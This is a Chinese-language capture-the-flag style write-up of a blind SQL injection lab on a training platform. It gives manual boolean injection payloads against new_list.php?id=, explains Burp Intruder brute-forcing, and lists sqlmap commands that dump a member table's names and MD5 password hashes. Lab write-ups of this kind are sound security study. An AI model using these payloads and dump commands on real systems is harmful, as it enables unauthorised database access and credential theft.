根据浮动的通告进度条,找到sql注入点
输入/new_list.php?id=1' and 1=1,内容空白
输入/new_list.php?id=1 and 1=1,内容显示, 判断这个id的值类型是数字类型
然后开始判断数据库名字的长度,/new_list.php?id=1 and length(database())=1,内容空白。一直试,试到长度为10
知道数据库名字的长度之后,就开始用bp抓包爆破,/new_list.php?id=1 and substr(database(),1,1)='b' --+, 这里说明一下,看到墨者上面大部分的解题思路都是直接上sqlmap的,手工测为少数,而且只提供简单思路,没有介绍手工测时具体的工具协助使用,第一次使用bp爆破,花了我不少时间琢磨,所以我在这里详细说明下:
然后将其发送到Intercept模块,Intruder 是burp 套件的优势,他提供一组特别有用的功能。它可以自动实施各种定制攻击,包括资源枚举、数据提取、模糊测试等常见漏洞等。在各种有效的扫描工具中,它能够以最细化、最简单的方式访问它生产的请求与响应,允许组合利用个人智能与该工具的控制优点。
然后进入Intercept模块,$b$,美元符号围起来的就是需要爆破的值
Sniper 这种攻击模式可以让我们选择的攻击位置注入一个单一的有效载荷。这需要的有效载荷选项,将它们插入到选定的位置,然后重复,直到它已测试所有的有效载荷选项。如果选择多个位置,它会只适用于测试,一次一个位置。我会告诉你如何使用这个测试在几秒钟之内的SQL 漏洞的迹象
Pitchfork 这种攻击模式允许你测试多种有效载荷,最大能够自定义8 个,基于攻击位置。这种攻击模式设置不同的有效载荷为每个位置逐一同时测试。
Cluster bomb 这种攻击模式使用多种有效载荷,并允许你测试每一个可能有效载荷在每个选择的攻击位置,这意味着接下来的测试,交换任何其他有效载荷。当你有不同需要注射的地方,它将会非常的方便
我们这里选择Sniper模式
这里选择需要爆破用的字典,因为数据库名字一般是小写字母,所以这里我用的字典是a~z
strat attack 开始爆破
爆破出来结果,我们可以看到他返回来的html,如果值是真的那么应该返回通告的内容,而错的html里只有一堆样式css
一个一个查看发现,只有值为s,html才返回通告内容,所以数据名的第一个值为s
由此类推了,推出数据库的名字为stormgroup
然后用new_list.php?id=1 and substr((select table_name from information_schema.tables where table_schema='stormgroup' limit 0,1),1,1))=‘m’ --+,推出表名为member/notice
随后爆字段,new_list.php?id=1 and length((select column_name from information_schema.columns where table_name='member' and table_schema='stormgroup' limit 0,1))=4 --+ 推出字段名字为name,password,status
爆字段内容,/new_list.php?id=1 and length((select concat(name) from stormgroup.member limit 1,1))=5 --+ ,先判断内容长度
/new_list.php?id=1 and ascii(substr((select concat(name) from stormgroup.member limit 1,1),1,1))=109,测试其内容
密码32位....算了直接上sqlmap,真香
sqlmap -u "http://219.153.49.228:41621/new_list.php?id=1" --dbs 爆破数据库名
sqlmap -u "http://219.153.49.228:41621/new_list.php?id=1" -D stormgroup --tables 爆表
sqlmap -u "http://219.153.49.228:41621/new_list.php?id=1" -D stormgroup -T member --columns 爆字段
sqlmap -u "http://219.153.49.228:41621/new_list.php?id=1" -D stormgroup -T member -C "name,password" --dump 爆值
MD5加密,拿到网上解密一下,完事。